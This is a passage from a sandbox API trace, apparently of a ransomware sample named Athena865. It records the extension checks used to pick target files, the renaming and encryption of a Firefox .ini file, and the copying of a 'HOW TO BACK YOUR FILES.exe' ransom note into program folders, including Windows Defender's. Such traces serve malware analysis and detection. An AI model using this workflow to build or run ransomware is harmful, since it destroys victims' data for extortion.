(lpString1="ini", lpString2="p96") returned -1 [0096.093] lstrlenW (lpString="p97") returned 3 [0096.093] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0096.093] lstrlenW (lpString="pan") returned 3 [0096.093] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0096.093] lstrlenW (lpString="pdb") returned 3 [0096.093] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0096.093] lstrlenW (lpString="pdm") returned 3 [0096.094] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0096.094] lstrlenW (lpString="pnz") returned 3 [0096.094] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0096.094] lstrlenW (lpString="qry") returned 3 [0096.094] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0096.094] lstrlenW (lpString="qvd") returned 3 [0096.094] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0096.094] lstrlenW (lpString="rbf") returned 3 [0096.094] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0096.094] lstrlenW (lpString="rctd") returned 4 [0096.094] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0096.094] lstrlenW (lpString="rod") returned 3 [0096.094] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0096.094] lstrlenW (lpString="rodx") returned 4 [0096.094] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0096.094] lstrlenW (lpString="rpd") returned 3 [0096.094] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0096.094] lstrlenW (lpString="rsd") returned 3 [0096.094] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0096.094] lstrlenW (lpString="sas7bdat") returned 8 [0096.094] lstrcmpiW (lpString1="pprt.ini", lpString2="sas7bdat") returned -1 [0096.094] lstrlenW (lpString="sbf") returned 3 [0096.094] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0096.094] lstrlenW (lpString="scx") returned 3 [0096.094] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0096.094] lstrlenW (lpString="sdb") returned 3 [0096.094] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0096.094] lstrlenW (lpString="sdc") returned 3 [0096.094] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0096.094] lstrlenW (lpString="sdf") returned 3 [0096.094] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0096.095] lstrlenW (lpString="sis") returned 3 [0096.095] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0096.095] lstrlenW (lpString="spq") returned 3 [0096.095] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0096.095] lstrlenW (lpString="te") returned 2 [0096.095] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0096.095] lstrlenW (lpString="teacher") returned 7 [0096.095] lstrcmpiW (lpString1="prt.ini", lpString2="teacher") returned -1 [0096.095] lstrlenW (lpString="tmd") returned 3 [0096.095] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0096.095] lstrlenW (lpString="tps") returned 3 [0096.095] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0096.095] lstrlenW (lpString="trc") returned 3 [0096.095] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0096.095] lstrlenW (lpString="trc") returned 3 [0096.095] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0096.095] lstrlenW (lpString="trm") returned 3 [0096.095] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0096.095] lstrlenW (lpString="udb") returned 3 [0096.095] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0096.095] lstrlenW (lpString="udl") returned 3 [0096.095] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0096.095] lstrlenW (lpString="usr") returned 3 [0096.095] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0096.095] lstrlenW (lpString="v12") returned 3 [0096.095] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0096.095] lstrlenW (lpString="vis") returned 3 [0096.095] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0096.095] lstrlenW (lpString="vpd") returned 3 [0096.095] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0096.095] lstrlenW (lpString="vvv") returned 3 [0096.095] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0096.096] lstrlenW (lpString="wdb") returned 3 [0096.096] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0096.096] lstrlenW (lpString="wmdb") returned 4 [0096.096] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0096.096] lstrlenW (lpString="wrk") returned 3 [0096.096] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0096.096] lstrlenW (lpString="xdb") returned 3 [0096.096] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0096.096] lstrlenW (lpString="xld") returned 3 [0096.096] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0096.096] lstrlenW (lpString="xmlff") returned 5 [0096.096] lstrcmpiW (lpString1="t.ini", lpString2="xmlff") returned -1 [0096.096] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini.Athena865") returned 70 [0096.096] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt\\webapprt.ini"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt\\webapprt.ini.athena865"), dwFlags=0x1) returned 1 [0096.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt\\webapprt.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0096.100] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=487) returned 1 [0096.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.100] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518a30 [0096.100] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5189a8) returned 1 [0096.101] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.101] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0096.101] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f0, lpName=0x0) returned 0x154 [0096.104] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f0) returned 0x100000 [0096.105] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5189a8) returned 1 [0096.106] CryptGenRandom (in: hProv=0x5189a8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.106] CryptReleaseContext (hProv=0x5189a8, dwFlags=0x0) returned 1 [0096.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539338 [0096.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539338 | out: hHeap=0x4f0000) returned 1 [0096.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.106] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.106] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.106] CloseHandle (hObject=0x154) returned 1 [0096.106] CloseHandle (hObject=0x17c) returned 1 [0096.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518a30 | out: hHeap=0x4f0000) returned 1 [0096.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.107] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa91c1500, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="webapprt.ini", cAlternateFileName="")) returned 0 [0096.107] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0096.107] ReleaseMutex (hMutex=0xec) returned 1 [0096.107] CloseHandle (hObject=0xec) returned 1 [0096.107] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" [0096.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d9b8 | out: hHeap=0x4f0000) returned 1 [0096.107] lstrlenW (lpString="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned 53 [0096.107] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\15D9DA88FF24121CCBB03A1035235703") returned 0xec [0096.107] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0096.107] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" | out: lpString1="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" [0096.107] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0096.107] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0096.108] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0096.108] GetLastError () returned 0x0 [0096.108] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0096.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0096.108] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0096.109] CloseHandle (hObject=0xf4) returned 1 [0096.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0096.109] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0096.109] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc33fa720, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc33fa720, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0096.109] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.109] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.109] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0096.109] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc33fa720, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc33fa720, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.109] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.110] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.110] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0096.110] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0096.110] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0096.110] lstrcmpiW (lpString1="Framework", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.110] lstrcmpiW (lpString1="Framework", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.110] lstrcmpiW (lpString1="Framework", lpString2=".") returned 1 [0096.110] lstrcmpiW (lpString1="Framework", lpString2="..") returned 1 [0096.110] lstrcmpiW (lpString1="Framework", lpString2="windows") returned -1 [0096.110] lstrcmpiW (lpString1="Framework", lpString2="bootmgr") returned 1 [0096.110] lstrcmpiW (lpString1="Framework", lpString2="temp") returned -1 [0096.110] lstrcmpiW (lpString1="Framework", lpString2="pagefile.sys") returned -1 [0096.110] lstrcmpiW (lpString1="Framework", lpString2="boot") returned 1 [0096.110] lstrcmpiW (lpString1="Framework", lpString2="ids.txt") returned -1 [0096.110] lstrcmpiW (lpString1="Framework", lpString2="ntuser.dat") returned -1 [0096.110] lstrcmpiW (lpString1="Framework", lpString2="perflogs") returned -1 [0096.110] lstrcmpiW (lpString1="Framework", lpString2="MSBuild") returned -1 [0096.110] lstrlenW (lpString="Framework") returned 9 [0096.110] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Framework" | out: lpString1="Framework") returned="Framework" [0096.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50d9b8 [0096.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x518a30 [0096.110] lstrcatW (in: lpString1="Framework", lpString2="\\" | out: lpString1="Framework\\") returned="Framework\\" [0096.110] lstrcatW (in: lpString1="Framework\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Framework\\HOW TO BACK YOUR FILES.exe") returned="Framework\\HOW TO BACK YOUR FILES.exe" [0096.110] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\how to back your files.exe"), bFailIfExists=1) returned 1 [0096.113] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc33fa720, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc33fa720, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0096.113] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0096.113] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc33fa720, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc33fa720, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0096.113] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0096.113] ReleaseMutex (hMutex=0xec) returned 1 [0096.113] CloseHandle (hObject=0xec) returned 1 [0096.113] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows Defender\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Defender\\en-US") returned="C:\\Program Files (x86)\\Windows Defender\\en-US" [0096.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51aff0 | out: hHeap=0x4f0000) returned 1 [0096.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d9e8 | out: hHeap=0x4f0000) returned 1 [0096.115] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Defender\\en-US") returned 45 [0096.115] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\570DB0BD6629E5FEAD7ADE550AECA405") returned 0xec [0096.115] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0096.115] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Defender\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Defender\\en-US") returned="C:\\Program Files (x86)\\Windows Defender\\en-US" [0096.115] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0096.115] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows defender\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0 [0096.116] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows defender\\en-us\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0096.116] GetLastError () returned 0x0 [0096.116] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0096.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ed08 [0096.116] ReadFile (in: hFile=0xf4, lpBuffer=0x53ed08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ed08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0096.117] CloseHandle (hObject=0xf4) returned 1 [0096.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ed08 | out: hHeap=0x4f0000) returned 1 [0096.117] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0096.117] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Defender\\en-US\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc3420880, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc3420880, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0096.117] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.117] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.117] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0096.117] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc3420880, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc3420880, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.117] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.117] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0096.117] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0096.117] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0096.118] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3420880, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc3420880, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0096.118] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0096.118] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0096.118] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0096.118] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.118] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2=".") returned 1 [0096.118] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="..") returned 1 [0096.118] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="windows") returned -1 [0096.118] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="bootmgr") returned 1 [0096.118] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="temp") returned -1 [0096.118] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="pagefile.sys") returned -1 [0096.118] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="boot") returned 1 [0096.118] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="ids.txt") returned 1 [0096.118] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="ntuser.dat") returned -1 [0096.118] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="perflogs") returned -1 [0096.118] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="MSBuild") returned -1 [0096.118] lstrlenW (lpString="MpAsDesc.dll.mui") returned 16 [0096.118] lstrcpyW (in: lpString1=0x241e8a4, lpString2="MpAsDesc.dll.mui" | out: lpString1="MpAsDesc.dll.mui") returned="MpAsDesc.dll.mui" [0096.118] lstrlenW (lpString="MpAsDesc.dll.mui") returned 16 [0096.118] lstrlenW (lpString="Athena865") returned 9 [0096.118] lstrcmpiW (lpString1="c.dll.mui", lpString2="Athena865") returned 1 [0096.118] lstrlenW (lpString=".dll") returned 4 [0096.118] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2=".dll") returned 1 [0096.118] lstrlenW (lpString=".lnk") returned 4 [0096.118] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2=".lnk") returned 1 [0096.118] lstrlenW (lpString=".ini") returned 4 [0096.118] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2=".ini") returned 1 [0096.118] lstrlenW (lpString=".sys") returned 4 [0096.118] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2=".sys") returned 1 [0096.118] lstrlenW (lpString="MpAsDesc.dll.mui") returned 16 [0096.119] lstrlenW (lpString="bak") returned 3 [0096.119] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0096.119] lstrlenW (lpString="ba_") returned 3 [0096.119] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0096.119] lstrlenW (lpString="dbb") returned 3 [0096.119] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0096.119] lstrlenW (lpString="vmdk") returned 4 [0096.119] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0096.119] lstrlenW (lpString="rar") returned 3 [0096.119] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0096.119] lstrlenW (lpString="zip") returned 3 [0096.119] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0096.119] lstrlenW (lpString="tgz") returned 3 [0096.119] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0096.119] lstrlenW (lpString="vbox") returned 4 [0096.119] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0096.119] lstrlenW (lpString="vdi") returned 3 [0096.119] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0096.119] lstrlenW (lpString="vhd") returned 3 [0096.119] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0096.119] lstrlenW (lpString="vhdx") 